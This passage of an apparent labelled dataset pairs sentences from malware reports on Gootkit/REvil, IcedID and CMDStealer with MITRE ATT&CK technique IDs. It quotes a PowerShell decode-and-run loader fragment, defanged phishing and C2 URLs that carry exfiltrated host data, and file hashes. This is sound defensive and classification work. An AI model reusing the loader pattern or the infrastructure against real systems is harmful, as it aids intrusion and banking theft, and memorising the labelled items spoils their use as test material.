ransomware"} {"sentence": "Deploying the payload The loader runs to the next stage with the help of Process Hollowing – one of the classic methods of PE injection.", "labels": ["T1055"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Figure 17: REvil ransom note Example 2 – Loading Gootkit In an other common variant, the payload is saved as Base64.", "labels": ["T1027"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The registry keys compose a PowerShell script in the following format: $Command =[System.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Encoding]::Unicode.GetString([System.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Convert]::FromBase64String(\"[content]\")); Invoke-Expression $Command;Start-Sleep -s 22222; Figure 18: Registry key storing payload After decoding the base64-encoded content, we get another PowerShell script: Figure 19:", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "More PowerShell It comes with yet another Base64-encoded piece that is further decompressed and loaded with the help of Reflection Assembly.", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "It is the .NET binary, similar to the previous one.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Gootkit loader:(973d0318f9d9aec575db054ac9a99d96ff34121473165b10dfba60552a8beed4)", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The script calls a function “Install1” from the .NET module.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "This function loads another PE, that is embedded inside as a base64 encoded buffer: Figure 20: Another buffer Figure 21: Deploying the payload This time the loader uses another method of PE injection, manual loading into the parent process.", "labels": ["T1027", "T1055"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The revealed payload is a Gootkit first stage binary: 60aef1b657e6c701f88fc1af6f56f93727a8f4af2d1001ddfa23e016258e333f.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "This PE is written in Delphi.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "In its resources we can find another PE (327916a876fa7541f8a1aad3c2270c2aec913bc8898273d545dc37a85ef7307f ), obfuscated by XOR with a single byte.", "labels": ["T1027"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "It is further loaded by the first one.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Loader like matryoshka dolls with a side of REvil", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The threat actors behind this campaign are using a very clever loader that performs a number of steps to evade detection.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Given that the payload is stored within the registry under a randomly-named key, many security products will not be able to detect and remove it.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "However, the biggest surprise here is to see this loader serve REvil ransomware in some instances.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "We were able to reproduce this flow in our lab once, but most of the time we saw Gootkit.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The REvil group has very strict rules for new members who must pass the test and verify as Russian.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "One thing we noticed in the REvil sample we collected is that the ransom note still points to decryptor.top instead of decryptor.cc, indicating that this could be an older sample.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Banking Trojans represent a vastly different business model than ransomware.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The latter has really flourished during the past few years and has earned criminals millions of dollars in part thanks to large ransom payments from high profile victims.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "We’ve seen banking malware (i.e. Emotet) turn into loaders for ransomware where different threat actors can specialize in what they do best.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Time will tell what this return of Gootkit really means and how it might evolve. Detection and protection Malwarebytes prevents, detects and removes Gootkit and REvil via our different protection layers.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "As we collect indicators of compromise we are able to block the distribution sites so that users do not download the initial loader.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Our behavior-based anti-exploit layer also blocks the malicious loader without any signatures when the JavaScript is opened via an archiving app such as WinRar or 7-Zip. Figure 22: Blocking on script execution If a system is already infected with Gootkit, Malwarebytes can remediate the infection by cleaning up the registry entries where Gootkit hides: Figure 23: Detection of payload hidden in registry Finally, we also detect and stop the REvil (Sodinokibi) ransomware: Figure 24: REvil ransomware blocked heuristically Indicators of Compromise Compromised websites downloading JavaScript loader: docs.anscommerce[.]comellsweb[.]netentrepasteles[.]supercurro.netm-uhde[.]degames.usc[.]edudoedlinger-erdbau[.]at 3rd stage JavaScript C2s: badminton-dillenburg[.]dealona[.]org[.]cyaperosaintmartin[.]com Variant 1 (Gootkit): NET loader", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "[973d0318f9d9aec575db054ac9a99d96ff34121473165b10dfba60552a8beed4]Delphi PE", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "[60aef1b657e6c701f88fc1af6f56f93727a8f4af2d1001ddfa23e016258e333f]PE stored in resources", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "[327916a876fa7541f8a1aad3c2270c2aec913bc8898273d545dc37a85ef7307f] Variant 2 (REvil): NET loader [0e451125eaebac5760c2f3f24cc8112345013597fb6d1b7b1c167001b17d3f9f]Delphi PE", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "[d0e075a9346acbeca7095df2fc5e7c28909961184078e251f737f09b8ef892b6] – the ransomwarePE stored in resources", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "[a7e363887e9a7cc7f8de630b12005813cb83d6e3fc3980f735df35dccf5a1341] – a helper component The post German users targeted with Gootkit banker or REvil ransomware appeared first on Malwarebytes Labs.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "New IcedID variants have been found without the usual online banking fraud functionality and instead focus on installing further malware on compromised systems.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "According to Proofpoint, these new variants have been seen used by three distinct threat actors in seven campaigns since late last year, focusing on further payload delivery, most notably ransomware.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "Proofpoint has identified two new variants of the IcedID loader, namely “Lite” (first seen in November 2022) and “Forked” (first observed in February 2023), both delivering the same IcedID bot with a more narrow-focused feature set.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "Removing unneeded functions on IcedID, which has been deployed in numerous malicious campaigns without many code changes since 2017, makes it stealthier and leaner, which can help the threat actors evade detection.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "Separate clusters of IcedID activity (Proofpoint) New IcedID campaigns Starting in November 2022, the “Lite” variant of the IcedID loader was delivered as a second-stage payload on systems infected by the newly-returned Emotet malware.", "labels": ["T1566.001"], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "The “Forked” version of the malware loader first appeared in February 2023, distributed directly through thousands of personalized invoice-themed phishing emails.", "labels": ["T1566.001"], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "These messages used Microsoft OneNote attachments (.one) to execute a malicious HTA file that, in turn, runs a PowerShell command which fetches IcedID from a remote resource.", "labels": ["T1105", "T1566.001"], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "At the same time, the victim is served a decoy PDF.", "labels": ["T1566.001"], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "Malicious OneNote attachment used in recent campaign (Proofpoint)", "labels": ["T1566.001"], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "At the end of February, Proofpoint’s researchers observed a low-volume campaign distributing IcedID “Forked” via fake notices from the National Traffic and Motor Vehicle Safety Act and the U.S. Food and Drug Administration (FDA).", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "It is important to note that while some threat actors use new variants of the IcedID malware, others still choose to deploy the “Standard” variant, with one of the most recent campaigns dating March 10, 2023.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "The new variants The “Forked” IcedID loader is quite similar to the “Standard” version in terms of its role, sending basic host info to the C2 and then fetching the IcedID bot.", "labels": ["T1041"], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "However, “Forked” uses a different file type (COM Server) and features additional domain and string-decryption code, making the payload 12KB larger than the “Standard” version.", "labels": ["T1140"], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "Domains decryption (Proofpoint) On the other hand, the “Lite” loader variant is lighter, at 20KB, and does not exfiltrate host info to the C2.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "This change makes sense since it was deployed alongside Emotet, which had already profiled the breached system.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "The “Forked” version of the IcedID bot is 64KB smaller than the “Standard” bot, and is basically the same malware minus the web injects system, the AiTM (adversary in the middle) functions, and the backconnect capabilities that give threat actors remote access to infected devices.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "Standard and Forked bot comparison (Proofpoint) IcedID is generally used for initial access by threat actors, so developing new variants is a worrying sign, signifying a shift towards specializing the bot to payload delivery.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "Proofpoint predicts that most threat actors will continue to use the “Standard” variant, but the deployment of new IcedID versions will likely grow, and more variants may pop up later in 2023.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "Operation CMDStealer:", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Financially Motivated Campaign Leverages CMD-Based Scripts and LOLBaS for Online Banking Theft in Portugal, Peru, and Mexico url: https://blogs.blackberry.com/en/2023/05/cmdstealer-targets-portugal-peru-and-mexico Operation CMDStealer:", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Financially Motivated Campaign Leverages CMD-Based Scripts and LOLBaS for Online Banking Theft in Portugal, Peru, and Mexico An unknown financially motivated threat actor, very likely from Brazil, is targeting Spanish- and Portuguese-speaking victims, with the goal of stealing online banking access.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The victims are primarily in Portugal, Mexico, and Peru.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "This threat actor employs tactics such as LOLBaS (Living Off the Land Binaries and Scripts), along with CMD-based scripts to carry out its malicious activities.", "labels": ["T1059.003"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The campaign utilizes phishing emails in Portuguese and Spanish, and social engineering tactics to target victims.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The emails exploit commonly encountered issues, such as transit infractions and taxes, to create a sense of urgency and legitimacy in their phishing messages.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "By posing as authoritative entities or government agencies, the messages are intended to deceive unsuspecting individuals and get them to disclose their online banking credentials.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Brief MITRE ATT&CK:registered: Information Tactic Technique Initial Access T1566.001 Execution T1204.002, T1059.001, T1059.003, T1047, T1059.005, T1059.007 Defense Evasion T1027, T1140 Command and Control T1001, T1105, T1132.001, T1071.001 Discovery T1069, T1082, T1087 Exfiltration T1041 Credential Access T1555.003 Persistence T1547.009 Weaponization and Technical Overview Weapons CMD files, Autolt scripts Attack Vector Phishing Network Infrastructure Malicious domains Targets Portugal, Mexico, Peru Technical Analysis Context The Latin American threat landscape primarily consists of financially-motivated malware, usually compiled into the final PE payloads.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "While deploying the final payloads, BlackBerry threat researchers saw a variety of techniques, such as abusing VBE scripts, ISO images, and MSI packages.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "In this case, the threat actor behind the campaign used CMD-based scripts, AutoIt scripts, and LOLBaS. LOLBaS and CMD-based scripts help threat actors avoid detection by traditional security measures.", "labels": ["T1059.003"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The scripts leverage built-in Windows:registered: tools and commands, allowing the threat actor to evade endpoint protection platform (EPP) solutions, and bypass security systems.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "By utilizing these techniques, they can gain unauthorized access to victims' systems, extract sensitive information, and ultimately compromise online banking accounts and payment systems.", "labels": ["T1005"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The geographical focus of this threat actor centers on Portugal, Mexico, and Peru, where a significant number of Spanish and Portuguese speakers reside.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Their selection of countries is likely influenced by the prevalence of online banking usage in these regions, making them lucrative targets for financial fraud.", "labels": ["T1059.003"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The first .CMD file set seen to use AutoIt in its execution was discovered at the end of 2021.", "labels": ["T1059.003"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "This suggests that the threat actor was beginning its tests, naming these files “demo” or “test,” upon decompiling the AutoIt script into a human-readable script that supports the timeline of this attack campaign.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Figure 1 – CMDStealer files with a very low detection rate on Virus Total Operation CMDStealer Attack Vector", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The infection chain begins with the user receiving a phishing email.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "These phishing emails are specially crafted to grab victims’ attention.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "In one instance, we observed one of the emails titled “Multa de Trânsito,“ which translates from Portuguese as “traffic infraction ticket.”", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Each email has an HTML attachment.", "labels": ["T1566.001"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Figure 2 – Phishing email contents The email text employs scare tactics, such as evidence of a traffic violation, prompting the user to open the HTML attachment which contains some junk code and data in HEX format.", "labels": ["T1027", "T1204.002", "T1566.001"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Figure 3 – \"multa_de_transito_502323.html\" attachment content The data blob in HEX decodes to a slightly obfuscated URL address which upon cleanup translates to: hxxps[:]//multa-ansr-pt[.]fun/?hcBViJAi9EZSc3YQwxpEwfmD7xdG0IF34EWGHj6Q. This URL resolves to: 162.0.232[.]115 IP address.", "labels": ["T1027", "T1140"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "During the extensive analysis of the “.HTML” files, BlackBerry identified a large list of HEX-encoded URLs, some of which are listed here: hxxps[:]//factura61[.]click/2/?j5szsmo0bk8tOSQSMS4mmp1XtQrmbNYoCB2GBem8 hxxps[:]//factura61[.]click/2/?vzlv9CZ1gnLrNIaWBJBhJNWRCt7IVXDDwVzOQhSs hxxps[:]//sunat-pe[.]fun/?D80gaUJDUfuLG6lodTSEi7qoqciBWk5xE5w81pJO hxxps[:]//factura61[.]click/2/?CTtBmkRN8KPXVTgUn1ArCPGb5WXTXTaT7etdD7TC hxxps[:]//factura61[.]click/2/?yqJl8r7henupax3WsUvITb0PuSw5sn7HyZWGMvDv hxxps[:]//factura61[.]click/2/?GxkVBvEBTFfSDqaFr8Yjw9kyKH01xRseHoF0DNQc hxxps[:]//multa-ansr-pt[.]fun/?UFqQBhFaXulvEfeTbI38FFDKRth1r2DWKOFqUI0Y hxxps[:]//multa-ansr-pt[.]fun/?l4mm0DEhDbJPYd5qAQmwst09TDTjjvYjiG7ByCvx Opening the attached “multa_de_transito_502323.html” file triggers the embedded JavaScript and reaches out to hxxps[:]//multa-ansr-pt[.]fun/?hcBViJAi9EZSc3YQwxpEwfmD7xdG0IF34EWGHj6Q to pull down the next stage which is a compressed archive (RAR) file.", "labels": ["T1027"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The archive file is typically titled with one of the naming schemes (a few are listed below): doc-Impuestos_<[0-9]{6}>.rar doc-Impostos_<[0-9]{6}>.rar Documento_Impostos_<[0-9]{6}>.rar Multa_<[0-9]{6}>.rar Impuestos-Documento_<[0-9]{6}>.rar BlackBerry found different campaigns geofenced to each specific country.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Threat researchers reported similar campaigns in the past targeting Mexico.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Weaponization The contents of the previously mentioned archive include a single “.CMD” file typically titled from one of the following filenames, (but there are other names): doc-Impuestos.cmd doc-Impostos.cmd Impuestos-Documento.cmd doc_Factura.cmd Documento_Impostos.cmd The “.CMD” file is large, ranging between 1.34 - 1.37MBs, and consists of two base64 encoded data blobs and code instructions for its execution.", "labels": ["T1027"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The script is described in the SANS write-up released on 1/06/2023.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Figure 4 – Code instructions for both base64 data block execution The first base64 data blob is compiled AutoIt script and the second is AutoIt interpreter (a benign file), used to run the first file.", "labels": ["T1027"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The purpose of the AutoIt script is to enumerate the host and download a “.VBS” file which then gets executed via the “SHELLEXECUTE”.", "labels": ["T1059.003", "T1105"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Next, it invokes the “_OUTRECOVERY()” function to steal Outlook data such as server, user, and password from POP3, SMPT, and IMAP registry keys.", "labels": ["T1012"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The script is then instructed to call the “_CHROMERECOVERY()” function.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "It proceeds by downloading the “sqlite3.dll” file from “hxxps[:]//www[.]autoitscript[.]com/autoit3/pkgmgr/sqlite/” which will be required later during the Chrome password theft.", "labels": ["T1041", "T1105"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "All data is then sent back to the attacker's C2 via the HTTP POST method.", "labels": ["T1041", "T1071.001"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The C2 is constructed with the victim's enumerated data, where the values are: v1 – OS language (e.g., 1033 – English US) v2 – keyboard layout (e.g., 1033 – English US) v3 – operating system version (Windows 7,8,10,11 or unknown) v4 – is target an admin or user v5 – OS architecture (x86 or x64)", "labels": ["T1005", "T1082"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The URL then becomes: hxxp[:]//publicpressmagazine[.]com/images/swan/do/it[.]php?b1=1&v1=1033&v2=1033&v3=windows%2010&v4=admin&v5=x86 hxxp[:]//websylvania[.]com/psj/do/it[.]php?b1=1&v1=3082&v2=1034&v3=windows%207&v4=user&v5=x64 To gain persistence on the infected system, it relies on the following code: Figure 5 – Persistence in the system Notably, within the decompiled AutoIt scripts that were used to target Mexico, a list of Mexican banks was also specified.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "If found, some of that data was sent back to the attacker.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Figure 6 – Financial targets in Mexico Based on the URLs of the financial targets in Mexico, the threat actor behind CMDStealer is highly interested in compromising enterprise/business accounts.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Operation CMDStealer Network Infrastructure The phishing and C2 (command and control) infrastructure are hosted on services with numerous domains associated with a single address, including fast flux services.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Such services go a long way in obfuscating NetFlow traffic analysis and infrastructure tracking.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The domains utilized also heavily use redacted “whois” information and obscure registration data.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Every stage of this stealer uses domains that have redacted information for years.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Multiple hosts were identified communicating with most of the CMD Stealer’s C2, but communications were not reliable enough to confirm threat actor ownership.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Campaigns have utilized the same URL path */do/it.php since at least 8/20/2022, making it a reasonable path to alert.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Targets This attack primarily targets victims in Portugal, Mexico, and Peru.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Also, based on the configuration used to target victims in Mexico, the threat actor is interested in online business accounts, which usually have a better cash flow.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Attribution Based on the code and language analysis, research is confident that the threat actor behind this campaign belongs to Latin America, specifically Brazil.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Conclusions Defending against LOLBaS executions requires a multi-layered strategy.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "First, organizations should implement robust endpoint security solutions to detect and block suspicious behavior and unauthorized execution of LOLBaS. Additionally, organizations should enforce the principle of least privilege, such as zero trust, confirming that users have only the permissions necessary to perform their tasks, thus limiting potential impact of LOLBaS execution.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Regular security awareness training should be provided to educate employees about the risks associated with social engineering.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Continuous monitoring and auditing of system logs can also help detect and investigate any suspicious activities related to LOLBaS. APPENDIX 1 – Referential Hashes SHA256 f6e84e43323ed9d8531fa2aeeb3c181c8f84fcbe950ce6dcdd8c3fa0b02c6cc0 MD5 e64f28174f646e26199d6b7735c84195 SHA256 0a277e51598ef364d5e0006817d32487eb9c0a3c150b7169cbc0bb7348088e63 MD5 f7f602f9b7fd04b64fbafe4dbfefa066 SHA256 2d87b9b071ace9f2ebfa33c1c0c21202f39876b312e135a491bf57ba731b798c MD5 fdcc1e1e3ccf30c63660e1f75042be43 SHA256 40017793f40a192b1dfdfc960742dd539b19fee9b15213307c8319fd88eee57f MD5 e212e8d740310cc565bc89c3b7966804 SHA256 cb1d1f039c07bd03b6eb14248a897dcefdefc28ae6f523b7c6f549c3c155640b APPENDIX 2 – Applied Countermeasures Yara Rules Available on request (see below).", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Suricata Rule Available on request (see below).", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Disclaimer:", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "The private version of this report is available on request.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "It includes but is not limited to the complete and contextual MITRE ATT&CK:registered: mapping, MITRE D3FEND:trade_mark: countermeasures, Attack Flow by MITRE, and other threat detection content for tooling, network traffic, complete IOCs list, and system behavior.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "For more information, email BlackBerry at cti@blackberry.com.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "For similar articles and news delivered straight to your inbox, subscribe to the BlackBerry Blog.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "About The BlackBerry Research & Intelligence Team The BlackBerry Research & Intelligence team examines emerging and persistent threats, providing intelligence analysis for the benefit of defenders and the organizations they serve.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"} {"sentence": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks From September to December, we detected multiple attacks from the Royal ransomware group.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "In this blog entry, we discuss findings from our investigation of this ransomware and the tools that Royal ransomware actors used to carry out their attacks.", "labels": [], "doc_title": "Conti Team One Splinter Group Resurfaces as Royal Ransomware with Callback Phishing Attacks"} {"sentence": "By: Ivan Nicole Chavez, Byron Gelera, Monte de Jesus, Don Ovid 